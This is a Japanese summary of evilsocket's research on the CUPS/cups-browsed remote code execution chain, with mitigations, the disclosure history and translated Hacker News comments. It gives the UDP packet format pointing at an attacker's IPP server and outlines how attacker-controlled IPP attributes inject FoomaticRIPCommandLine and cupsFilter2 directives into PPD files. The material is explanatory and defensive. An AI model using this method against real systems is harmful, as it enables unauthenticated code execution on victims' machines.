CUPSを介したUNIXシステムへの攻撃
(evilsocket.net)- CUPSのプリンタ自動検出経路がIPP属性の検証不足と組み合わさると、リモートの未認証攻撃者が悪意あるプリンタ設定を注入し、印刷時に任意コマンド実行まで誘発できる
- 攻撃の出発点は、
cups-browsedがUDP 631ポートで任意の送信元パケットを受け取り、攻撃者のURLへGet-Printer-AttributesIPPリクエストを送る動作にある - 脆弱性はCVE-2024-47176、CVE-2024-47076、CVE-2024-47175、CVE-2024-47177に分かれ、
libcupsfilters、libppd、cups-filtersのPPD生成からfoomatic-rip実行フローにまで連なる - 影響範囲は大半のGNU/Linuxディストリビューション、一部BSD、Oracle Solaris、Chromium/ChromeOSの可能性にまで及び、公開IPv4スキャンでは数十万台のデバイスからのコールバックと最大20万〜30万の同時クライアントが観測された
- 実務上は不要な
cups-browsedを無効化・削除し、CUPSパッケージを更新すべきであり、更新が難しければUDP 631および必要に応じてDNS-SDトラフィックの遮断を検討すべき
脆弱性チェーンの核心
- このチェーンはCUPSのプリンタ自動検出機能から始まり、IPP属性処理、PPDファイル生成、フィルタ実行へと続く
- 主な脆弱性は4段階で噛み合っている
- CVE-2024-47176:
cups-browsed2.0.1以下がUDP INADDR_ANY:631にバインドし、任意の送信元のパケットを信頼して攻撃者制御URLへのGet-Printer-AttributesIPPリクエストをトリガーする - CVE-2024-47076:
libcupsfilters2.1b1以下のcfGetPrinterAttributes5がIPPサーバから受け取った属性を検証・サニタイズせずCUPSシステムへ渡す - CVE-2024-47175:
libppd2.1b1以下のppdCreatePPDFromIPP2がIPP属性を検証・サニタイズしないまま一時PPDファイルに書き込み、攻撃者制御データの挿入を許す - CVE-2024-47177:
cups-filters2.0.1以下のfoomatic-ripがPPDのFoomaticRIPCommandLineパラメータを通じて任意コマンド実行を許す
- CVE-2024-47176:
攻撃の侵入口と影響範囲
- リモートの未認証攻撃者は、既存プリンタのIPP URLを静かに悪意あるURLへ変更したり、新しいプリンタをインストールさせたりできる
- 実際のコマンド実行は、そのコンピュータで印刷ジョブが開始されたときに発生する
- 侵入口は2つある
- WAN / 公開インターネット: リモート攻撃者が
UDP 631ポートへパケットを送信し、認証は不要 - LAN: ローカル攻撃者がzeroconf、mDNS、DNS-SD広告をスプーフィングし、同じコードパスでRCEに到達できる
- WAN / 公開インターネット: リモート攻撃者が
- CUPSと
cups-browsedは複数のUNIX系システムでパッケージ化されている- 大半のGNU/Linuxディストリビューション
- 一部のBSD
- Google Chromium / ChromeOSの可能性
- Oracle Solaris
- 公開インターネットのIPv4全域を数週間にわたり1日数回スキャンした結果、UDPパケット送信後に数十万台のデバイスがコールバックし、最大20万〜30万の同時クライアントのピークが観測された
cups-browsedが開いた経路
- UbuntuノートPCで
netstat -anuを実行中、0.0.0.0:631で受信中のUDPポートが見つかった lsof -i :631で確認した結果、TCP 631はcupsd、UDP 631はcups-browsedが使っていたps auxではcups-browsedプロセスがrootで実行されていることが分かったcups-browsedはCUPSシステムの一部で、新しいプリンタを検出して自動的にシステムへ追加する役割を持つ- ソースコードを確認すると、サービスは
INADDR_ANY:631 UDPにバインドされており、HEX_NUMBER HEX_NUMBER TEXT_DATA形式のUDPパケットを想定していた - 既定の設定ファイルがほぼすべてコメントアウトされた状態では、アクセス制限は事実上弱くなる
パースの問題と追加のバグ
- CUPSパッケージ自体はoss-fuzzに含まれているが、
cups-browsedにはファジングのカバレッジがないように見える process_browse_data周辺にAFLベースのファジングターゲットを作成すると、5つの入力がstack-buffer-overflowをトリガーした- 原因として、2つのループで終了条件を確認する前にポインタ逆参照が行われるフローが指摘されている
- その後、ロック処理箇所でrace conditionとDoSの可能性も見つかった
- これらの問題は開発者とCERTに報告されたが、研究者の時点では認定もパッチ適用もされていなかった
IPPリクエストとPPD注入
found_cups_printerはUDPパケットからパースしたテキストフィールドの1つをURLとして扱う- このURLと関連データは
examine_discovered_printer_record、create_remote_printer_entryの流れを経て、libcupsfiltersのcfGetPrinterAttributes呼び出しへつながる - 攻撃者が
0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever形式のパケットを送ると、対象のcups-browsedは攻撃者のURLへ接続する - 接続時のUser-Agentヘッダにはカーネルバージョンとアーキテクチャが含まれ、一部のリクエストでは対象のユーザー名も報告された
- Internet Printing Protocolはクライアントとプリンタまたはプリントサーバ間の通信プロトコルであり、プリンタ状態の照会や印刷ジョブ送信などに使われる
- 対象システムは攻撃者サーバをプリンタとして認識し、HTTP内にカプセル化された
Get-Printer-Attributesリクエストを送信する - ippserver python packageを使って制御可能な属性で応答すると、偽のプリンタがユーザー通知なしでローカルプリンタに追加された
PPDとfoomatic-ripの実行経路
- デバッグログにはプリンタキュー生成、一時PPDファイル生成、PPDの使用および編集の過程が現れる
create_queue関数はIPP属性をlibppdのppdCreatePPDFromIPP2APIへ渡すppdCreatePPDFromIPP2はprinter-make-and-modelのような攻撃者制御テキスト属性を検証・エスケープせずにPPDファイルへ書き込む- PostScript Printer Descriptionファイルはプリンタの機能と能力を説明するテキストファイルで、CUPSでプリンタ機能と利用方法を指定する役割を持つ
- PPD内の複数のディレクティブのうち、CUPS拡張である
cupsFilter2は印刷ジョブ時に/usr/lib/cups/filter配下の実行ファイルをフィルタとして実行できる foomatic-ripはPPDのFoomaticRIPCommandLineディレクティブを通じてコマンドを実行できるフィルタとして扱われる- 過去の
foomatic-filtersにはCVE-2011-2964とCVE-2011-2697に関連する修正があったが、CUPS統合の過程でその修正は移植されなかったことが確認された - より新しいCVE-2024-35235でも、
FoomaticRIPCommandLineを通じた任意コマンド実行が言及されている - CUPS開発者側の説明によれば、
FoomaticRIPCommandLineに指定できる内容を制限することは、既存ドライバを壊さずに対応するのが非常に難しく、2010年以前の古いプリンタ数百モデルがFoomaticのみに依存している可能性がある
RCE再現フロー
- RCEチェーンは3段階で構成される
- 対象システムを攻撃者の悪意あるIPPサーバへ接続させる
- 攻撃者制御のIPP属性文字列を返して一時PPDファイルにディレクティブを挿入する
- 偽プリンタへ印刷ジョブが送信されると、PPDディレクティブとコマンドが実行される
- IPPサーバ設定でPPD文字列を閉じて改行を挿入した後、
FoomaticRIPCommandLineとcupsFilter2ディレクティブを入れる方式でコマンド実行が構成された - デモ対象は完全にパッチ適用済みの
Ubuntu 24.04.1 LTSとcups-browsed 2.0.1で、攻撃者マシン上でコマンド実行が達成された - このフローは
cups-browsed、libcupsfilters、libppd、cups-filtersの複数の処理段階が同時に噛み合うと成立する
緩和策と推奨事項
cups-browsedが不要なら、サービスを無効化して削除することが推奨される- システムのCUPSパッケージを更新すべき
- 更新できず、かつ当該サービスが必要な場合は
UDP 631トラフィックを遮断すべき - 状況によってはDNS-SDトラフィックも遮断できるが、zeroconf利用環境では適用が難しい場合がある
- 研究者は個人的な推奨として、自身のシステムからCUPSサービス、バイナリ、ライブラリを削除し、UNIXシステムへ印刷しないと述べている
- さらに、zeroconf、Avahi、Bonjourリスナーも削除すると付け加えている
公開プロセスと後続作業
- 研究自体は数日で終わったが、9月5日にOpenPrintingの
cups-browsedリポジトリでセキュリティアドバイザリを開いて責任ある公開を開始してから、公表まで22日を要した - 関連する議論は
cups-browsed、libcupsfilters、libppd、cups-filtersのセキュリティアドバイザリへと続いた - 研究には2日、動作するエクスプロイトには249行が必要で、公開プロセスでは論争、メール、メッセージと100ページ超のテキストが行き交った
- 9.9 CVSSスコアを巡る論争について、初期の9.9点はVINCEレポートでRedHatエンジニアが見積もり、別のエンジニアがレビューした値だと説明されている
- 研究者は、RCEが容易に悪用可能でパッケージの存在範囲も広いため初期9.9になったと見ているが、影響度の観点では自分なら9.9には分類しないとも付け加えている
- 正確なMarkdownレポートとエクスプロイトはCERT VINCEにのみ共有したものが漏えいしたと明かしている
- 初期の
exploit.pyはUDPパケット送信と悪意あるIPPサーバ生成だけを行っていたが、その後zeroconf広告機能を追加してツール化された - その後Goで書き直してbettercapに統合し、LAN上でzeroconf、Bonjour、Avahiにより広告されるサービスを透過的に偽装する機能とIPP関連処理を追加した
- 次回の記事では、まだ公開されていないbettercapモジュールでApple macOSを攻撃する内容を扱う予定で、時期は別の公開手続きのため未定とされている
1件のコメント
Hacker Newsの意見
これは冗談かと思った。「リモートの未認証攻撃者が既存プリンターのIPP URLを悪意あるURLに変更するか新規に追加し、そのコンピューターで印刷ジョブが開始されたときに任意のコマンド実行が可能になる」という内容だが、Heartbleedが7.5だったのに、これが9.9であるはずはないように見える。
元のツイートでは「すべてのGNU/Linuxシステムなどに対する未認証のリモートコード実行」と言っていたが、実際には多くのディストリビューションでCUPSはループバックにしかバインドされていないか、そもそもインストールされていない。
また、公開IPv4全体を数週間にわたり1日に何度もスキャンして、数十万台のデバイスからコールバックを受け取ったと言っているが、私の理解が正しければ、公開IPv4全体で開いているCUPSインスタンスが30万台程度あったという意味であり、リモートコード実行が起きるにはそのCUPSサーバーが印刷ジョブを受け取る必要があるので、大半はそうならないように思う。
cups-browsedデーモン自体をなくすべきであり、LinuxエコシステムがCUPSの将来について真剣に議論すべきだ、という話に近い。バグは驚くほど単純に見え、結局かなり深刻なセキュリティ問題ではあるが、標準インストールされるデスクトップLinuxパッケージのアップストリーム対応として期待できる水準ではない。
それでも、世界を止めるほどの CVSS 9.9パニックでは絶対にない。
正確には、攻撃者が変更しておいたプリンター設定を、ユーザーが次に自分のプリンターで印刷するときに実行が遅延して発生する仕組みで、脆弱性はcupsdではなく cupsd-browser にある。
筆者の態度に問題はあるかもしれないが、この脆弱性自体は本当に重大な問題だ。
CUPSをインターネットに公開している人は、CVEでは届かないレベルで何も気にしていない状態だ。
もちろんトリガーするにはユーザーが何かを印刷する必要があり、個人的にはLinuxで何かを印刷したことはない気がするが、数十万台のLinuxマシンからコールバックを受け取ったという主張はもっともらしい。
少なくとも、LinuxノートPCが空港Wi-Fiのような場所で他のすべてのデバイスに対して大きく脆弱になるべきではないと思う。
CVSSv3のScope指標をどう解釈するかによって、より正確には 8.8または9.6 に見える。
要約すると、一部のデスクトップLinux系でLANに公開されたCUPSが 0.0.0.0 で立ち上がっており、rootで実行され、未認証のリモートコード実行に脆弱だ。Ubuntu ServerやCentOSのようなサーバー指向のLinuxの多くでは標準サービスではないが、デスクトップ系Linuxの大半ではデフォルトで起動しているようだ。
リモートコード実行をトリガーするには、脆弱なLinuxマシンのユーザーが悪用後に文書を印刷する必要がある。
evilsocketは数十万件のコールバックを受け取ったと言っており、私たちの大半がLinuxでほとんど印刷していないとしても、その程度の影響があれば大きなボットネットを作るには十分かもしれない。
cupsdをインターネットに開けていたので、ニュースを聞いて少しパニックになったが、ここのタイトルのように、この問題にも誤って伝わっている部分がある。問題は中核の cupsd ではなく、別パッケージ/コンポーネントである cups-browsed にある。
サーバー用途で使っているGentoo Linuxではcups-browsedが別パッケージとして提供されており、私はインストールしていないため影響を受けない。この追加パッケージをインストールしていない大半のCUPSユーザーも、このバグの影響を受けない。
CUPSを動かすすべてのシステムがハックされ得ると言うのは、規模を誤って表現している。
家では単にサービスを止めておいたが、ますます多くのソフトウェアが範囲を逸脱し、本来は任意であるべきコンポーネントを必須であるかのようにするのはかなり腹立たしい。
似た例が avahi-daemon だ。デスクトップDebian/Ubuntuで削除しようとすると、なぜavahiが強い依存関係である必要があるのか疑問に思うような他のソフトウェアまで一緒に削除される可能性が高い。
「あなたのようなセキュリティ研究者が『聞く価値があることを証明しなければならない』かのように振る舞うトリアージ担当者のせいで、研究者にあまりにも多くのことが期待され、当然視されている」という部分は理解できるが、残念な現実もある
こうしたよく調査された報告が1件あるたびに、バグバウンティ報酬を引き出したり、履歴書にCVE発見を載せたりしようとする低品質なスパム報告が57件ずつ届く。特にLLMが増えたことで、そうしたスパムは簡単にそれらしく見せられる
悲しい状況だが、開発者が懐疑的になるのを全面的に責めるのは難しい
0: https://daniel.haxx.se/blog/2024/01/02/the-i-in-llm-stands-f...
要約すると、cups-browsedはUDPポート631を待ち受け、ユーザー確認なしにプリンターを自動インストールできる
攻撃者はこの「機能」を利用して、任意のホストからダウンロード可能なカスタムドライバー付きの偽プリンターをユーザー確認なしにインストールし、印刷ジョブが送信されたときに実行するコマンドを指定する
ユーザーがその偽プリンターで何かを印刷すると、そのコマンドが実行される
今回の場合、ディストリビューションがcups-browsedを機能として含めているようだが、Ubuntu/Debian、そしておそらくすべてのdeb系ディストリビューションが、インストール時にほぼすべてのサービスを自動起動するのは常に悪いことだと感じる
パッケージを1つインストールしただけなのに、依存関係で入った別のネットワークサービスが誤って開いてしまう可能性があるということだ
exim4についてはすでに分かっているだろうが、公平に言えばデフォルトではlocalhostだけを待ち受けるので、大きな問題ではないかもしれない。さっきDebianマシンにcups-browsedを入れてみたところ、0.0.0.0で待ち受けるサービスが2つ(cups-browsedとavahi)起動した
Arch/GentooやCentOS系ディストリビューションではこうはならない
Twitterに投稿された元のCVSSスコアでは、ユーザー操作は不要とされていた。だがページのリモートコード実行チェーンを読むと、「PPDディレクティブとそれに伴うコマンドが実行されるよう、偽プリンターへ印刷ジョブが送信されるのを待つ」とある
Aliceが印刷ボタンを押さなければ印刷ジョブはトリガーされないように思うのだが、自分が何を見落としているのか気になる。evilsocketを疑っているというより、自分の理解を確認したいだけだ
MacOSで何かを印刷しなければならないたびに、プリンターとプリンター関連ソフトウェアがどれほど嫌いかを思い出す。コンピューターを40年触ってきたが、本当に10年ごとにプリンターはより厄介になっている
pdf2ps - | nc 9001